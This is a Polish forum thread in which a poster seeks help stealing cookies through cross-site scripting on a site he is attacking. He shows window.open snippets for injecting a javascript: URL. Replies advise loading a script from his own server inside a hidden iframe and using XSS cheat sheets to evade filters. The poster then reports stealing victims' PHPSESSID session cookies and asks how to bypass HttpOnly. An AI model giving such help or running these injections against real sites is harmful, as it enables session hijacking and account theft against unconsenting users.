-
wyciąganie cookie
Za pomocą Dom w javascript wyciągam sobie ciasteczka, które zapisują się do pliku na moim serwerze. Jednak wiadomo, iż żaden internauta nie wprowadzi podejrzanego kodu do swojej przeglądarki. Zastanawiałem się jak automatycznie odpalić mój skrypt wraz z ładowaniem się strony, którą atakuje.
Początkowo chciałem umieścić na stronie odnośnik do mojego serwera do pliku, który nie istnieje. Występował błąd 404. W htaccess ustawiłem, że jak wystąpi ten błąd to żeby otworzyło mój kod (javascript:.....) jednak kod się nie odpalał, tylko wyskakiwał komunikat o zmianie położenia strony.
Później chciałem wykorzystać funkcje window.open. Stworzyłem stronę, która odpala drugą kartę z atakowaną stroną a po chwili w tej nowej karcie odpalał mój kod. W skrócie wygląda ona tak
Kod html:
<input type="button" value=1 onclick="window.open('http://podatnastrona.pl','Podglad','width=400;height=300')">
<input type="button" value=2 onclick="window.open('javascript:alert(kod zapisujący cookie na moim serwie)','Podglad','width=400;height=300')">
Co prawda tutaj kolejne strony otwierają się z odnośników, ale pisałem ten kod z pamięci i nie pamiętam jak on dokładnie wyglądał:p
Jak nacisnę button z numerkiem dwa to wyskoczy komunikat. Natomiast jak najpierw nacisnę 1 włączy się strona i nacisnę 2 to nie uruchomi to mojego kodu javascript.
1)Jak zrobić żeby ten kod javascript odpalił się po naciśnięciu najpierw 1 a potem 2?
2)Istnieje jakiś sposób, żeby w odnośnik wsadzić kod javascript jeśli strona, ktorą atakuje dodaje do odnośników http:// na początku?
3)Znacie jakiś skuteczny sposób na wyciągnięcie cookie (kod wyciągający mam, chodzi mi jedynie jak go umieścić na jakiejś stronie)?
-
jak mozesz gdzies dopisac js, to zrob poprostu <script src="twoj server">, a w pliku .js wrzuc iframea z visibility: hidden.
-
Jednak strona, na której próbuje przeprowadzić atak filtruje wszelką treść. Można jakoś dostawić kod javascript za pomoca javascript dom?
-
hmm nie wiem =D zalezy jakie znaki filtruje =D wpisz sobie w google : xss cheat sheet i bedziesz mial obejscia filtrowania=D
-
Dobra znalazłem lukę w zabezpieczeniach:P Mogę kraść teraz cookie:D Ale kradnąc je zaskoczył mnie fakt, iż jak włączyłem wtyczkę w ff do edycji cookie na stronie, którą hack'łem pokazało się kilkanaście cookie z tej strony a tylko kilka z nich( na szczęście z PHPsesion) zostało przesłanych od ofiar. Żeby to sprawdzić wpisałem w url javascript:alert(document.cookie) i rzeczywiście pokazały się tylko niektóre cookie wysłane z tej strony. Od czego to zależy czy dane ciacho wysłane do przeglądarki wyskoczy po żądaniu document.cookie czy też nie?
-
Od parametru 'domain' przypisanego do niektorych cookie. Zobacz w wikipedii na przyklad pod haslem 'HTTP Cookie' (anglojezycznej sie znaczy).
-
A może ma to związek z HttpOnly? Jak patrzę na domain w poszczególnych cookie wysłanych z tej strony to są one podobne. Niektóre tylko z przodu mają "." Może to od niej zależy? Skąd przeglądarka w ogóle wie kiedy wysłać chronione cookie a kiedy nie jak strona ich żąda? Można to jakoś ominąć?